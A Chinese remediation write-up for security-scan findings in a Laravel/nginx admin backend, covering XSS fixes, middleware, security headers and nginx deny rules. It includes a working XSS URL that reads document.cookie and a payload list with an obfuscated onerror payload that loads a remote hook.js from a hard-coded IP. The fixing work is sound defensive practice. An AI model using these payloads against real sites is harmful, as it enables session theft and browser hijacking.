管理后台安全修复

dsp后台代码安全修复

跨站脚本XSS

漏洞页面 : http://192.168.1.251:9732/customer/item

漏洞分析

通过查看代码, 发现接口获取的参数, 由框架做了实体化处理, 常用的闭合标签( > / &#gt; / > ) 均无法闭合突破, 但代码中存在直接使用该请求参数的地方, 如下

1
2
3
4
5
6
7
8
if("{{$search['order_id']}}">0){  # 该代码当做字符串处理, 双引号及其他代码会被实体化
if({{$search['status_show']}} == 1){ # 漏洞点
var status = $('#item_status').val();
url += '&status='+status;
}else{
url += "&status={{$search['status']}}";
}
}

1698128719082

点击搜索按钮后, 执行注入代码, 弹出prompt框, 存在注入点

1698128748205

漏洞链接(带payload)

1
http://192.168.1.251:9732/customer/item/?status_show=console.log(document.cookie)&order_id=1

漏洞修复方式

1.修复漏洞点代码, 加上双引号

1
2
3
4
5
6
7
8
if("{{$search['order_id']}}">0){
if("{{$search['status_show']}}" == 1){ # 漏洞点
var status = $('#item_status').val();
url += '&status='+status;
}else{
url += "&status={{$search['status']}}";
}
}

2.新建过滤中间件, 对所有入参做处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ php artisan make:middleware XSS

public function handle(Request $request, Closure $next)
{
$userInput = $request->all();
array_walk_recursive($userInput, function (&$userInput) {
$userInput = htmlspecialchars($userInput, ENT_QUOTES);
});
$request->merge($userInput);
return $next($request) ;
}

# kernel.php 中注册到路由中间件
'XSS' => \App\Http\Middleware\XSS::class,

# 在对应路由中使用
Route::group(['middleware' => 'XSS'],function(){
// ...
});

常用xss简单payload

1
2
3
4
5
6
7
<script>alert(111)</script>

<script>prompt(111)</script>

<image src="xxx.jpg" onerror="alert(111)">

<img%20src="nonexistent.jpg"%20onerror="eval(%27var%20s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,53,50,46,49,50,56,58,51,48,48,48,47,104,111,111,107,46,106,115);document.head.appendChild(s);%27)">

访问控制文件内容泄露

1
2
3
4
# nginx 配置  
location ~ /xxx/.* {
deny all;
}

会话Cookie中缺少secure属性

1
laravel/config/session.php 中, 配置 secure 为 true  (前提是存在配置了https)

jQuery跨站脚本

1
暂不处理

HTTP X-XSS-Protection缺失

1
2
3
4
5
6
7
8
# Nginx配置文件 添加响应头
add_header X-XSS-Protection "1; mode=block";

# 可选参数
# 0:禁止XSS过滤。
# 1:启用XSS过滤(通常浏览器是默认的)。 如果检测到跨站脚本攻击,浏览器将清除页面(删除不安全的部分)。
# 1; mode=block:启用 XSS 过滤。 如果检测到攻击,浏览器将不会清除页面,而是阻止页面加载。
# 1; report= (Chromium only):启用 XSS 过滤。 如果检测到跨站脚本攻击,浏览器将清除页面并使用 CSP report-uri指令的功能发送违规报告。

开启options方法

1
2
# Nginx配置文件 添加响应头
add_header Access-Control-Allow-Methods "GET, POST";

密码字段自动完成处于活动状态

1
2
3
4
5
6
7
# user.login
<input type="password" name="user_pwd" id="user_pwd" placeholder="请输入密码" autocomplete="off"/>

#member.pwdedit
<input type="password" class="h30 lh30" name="opwd" placeholder="原密码" id="opassword" style="color:#333;width:220px" autocomplete="off"/>

...

HTTP X-Permitted-Cross-Domain-Policies缺失

1
2
3
4
5
6
7
8
9
10
# Nginx配置文件 添加响应头
# 用于指定客户端能够访问的跨域策略文件的类型。
add_header X-Permitted-Cross-Domain-Policies "master-only";

# 可选参数
# none:目标服务器的任何位置都不允许使用策略文件,包括主策略文件
# master-only:仅允许使用主策略文件, 默认
# by-content-type:仅限 HTTP/HTTPS 协议使用,只允许使用 Content-Type: text/x-cross-domain-policy 提供的策略文件
# by-ftp-filename:仅限 FTP 协议使用,只允许使用文件名为 crossdomain.xml 的策略文件
# all:目标域上的所有策略文件都可以使用

HTTP Content-Security-Policy缺失

1
2
3
# Nginx配置文件 添加响应头
# 作用:用于定义页面可以加载哪些资源,减少和上报 XSS 的攻击,防止数据包嗅探攻击。
add_header Content-Security-Policy: default-src 'self'

X-Frame-Options Header未配置

1
2
3
4
5
6
7
8
# Nginx配置文件 添加响应头
# 是否允许一个页面可在 < frame >、< iframe >、< embed > 或者 < object > 中展现的标记。
add_header X-Frame-Options SAMEORIGIN;

# 可选参数
# DENY:表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许。
# SAMEORIGIN:表示该页面可以在相同域名页面的 frame 中展示。
# ALLOW-FROM uri:表示该页面可以在指定来源的 frame 中展示。

敏感目录

1
2
3
4
5
# nginx 配置  
location ~ /xxx/.* {
deny all;
return 403;
}

Web应用程序错误

1
测试环境  debug配置打开的?

表单隐藏域

1
2
提交参数已校验
CreativeController -> verify()

Html form表单没有CSRF防护

http://192.168.1.251:9732/customer/creative/add

1
该csrf_token未写入模板, 在js代码中, 请求时携带

HTTP X-Content-Type-Options缺失

1
2
3
4
# Nginx配置文件 添加响应头
# 作用:禁用浏览器的 Content-Type 猜测行为。

add_header X-Content-Type-Options: nosniff

敏感文件

1
2
3
4
5
# nginx 配置  
location ~ /xxx/\.xxxx {
deny all;
return 403;
}

HTTP X-Download-Options缺失

1
2
3
# Nginx配置文件 添加响应头
# 用于控制浏览器下载文件是否支持直接打开,如果支持直接打开,可能会有安全隐患。
add_header X-Download-Options noopen;